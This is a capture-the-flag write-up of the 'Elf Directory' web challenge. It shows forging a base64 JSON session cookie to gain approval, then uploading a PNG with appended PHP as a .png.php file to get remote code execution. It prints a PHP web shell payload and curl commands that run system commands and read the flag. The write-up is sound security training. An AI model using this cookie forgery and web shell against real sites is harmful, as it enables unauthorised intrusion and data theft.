Htb Elf Directory

Elf Directory

Elf Directory is a challenge in which we are given a hosted copy of a web app that we need to hack in order to find the flag. In this challenge, we were not provided with a copy of the source code.


Can you infiltrate the Elf Directory to get a foothold inside Santa’s data warehouse in the North Pole?

First impressions

Navigating to the home page we are presented with a login form:

The home page of our target app

When we fill out the form, we POST to /api/login with a username and password. From the headers, we can see that we’re working with nginx and PHP 7.4.26. A quick search doesn’t turn up any obvious or helpful known vulnerabilities; I didn’t expect any but it’s good to be in the habit of looking.

To be honest, based on the name and the prompt, I’m expecting a path traversal and Local File Disclosure and/or Local File Inclusion at this point.


As mentioned above, this application is running PHP 7.4.26 behind nginx and no known obvious or helpful CVEs were found after a quick search.

At the login form, I try a couple of the obvious or common username/password combinations as well as some basic SQLi payloads. That didn’t yield anything and there’s a Register link so let’s try that.

For registration, we’re only prompted for our desired username and password. Upon submitting the form properly, POST happens to /auth/register with the username and password and we are redirected to the login form.

Upon logging in successfully, we’re presented with a sort of “edit your profile” page. The page presents the message You don't have permission to edit your profile, contact the admin elf to approve your account!.

Edit profile page

Looking at our HTTP response from the login, we see a cookie returned in the response:

HTTP/1.1 302 Found
Server: nginx
Date: Sat, 04 Dec 2021 14:24:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.26
Set-Cookie: PHPSESSID=eyJ1c2VybmFtZSI6Im15dXNlciIsImFwcHJvdmVkIjpmYWxzZX0%3D; expires=Mon, 20-Dec-2021 00:46:22 GMT; Max-Age=1333337; path=/
location: /
Content-Length: 0

Right away I see that the cookie is base64-encoded JSON (the eyJ prefix is the giveaway). The cookie in this case translates to:


I set my cookie as follows and as I suspected now have the ability to upload a new profile picture. My username has been updated as well.


I attempt logging a GIF (their very own deer.gif) and receive a response that only PNGs are accepted so we know there’s at least some kind of validation taking place. Sending a proper PNG and I am redirected back to the main page. I look at where my new profile image is hosted and it hasn’t changed.

It turns out that I can’t upload a new image as the username admin. I suspected that the user doesn’t actually exist and I need to use an existing username. I set my cookie to {"username":"myuser","approved":approved} and continue.

I attempt uploading a valid PNG and see that my new profile photo is now hosted at /uploads/b9510_elf.png. Something that stands out to me is that elf.png was the name of the image locally when I uploaded it which means I have some influence over how the file is named.


Suspecting this is my vector Remote Code Execution I append <?php phpInfo(); ?> to the end of a valid PNG and upload it as elf.png.php. After loading my new profile photo, I have the phpInfo page; This confirms now that we have Remote Code Execution!

I re-upload the file this time with a payload of <?php echo system($_GET['cmd']); ?> and boom we have a shell! Moving to curl to make things a little easier:

curl -s 'http://challenge.htb/uploads/522ca_shelf.png.php?cmd=id' | tail -c +27178    #  this is just the offset of where the text started in my PNG
uid=1000(www) gid=1000(www) groups=1000(www)
uid=1000(www) gid=1000(www) groups=1000(www)%  

Annnnd flag.

% curl -s 'http://challenge.htb/uploads/522ca_shelf.png.php?cmd=cat ../../flag_65890d927c37c33.txt' | tail -c +27178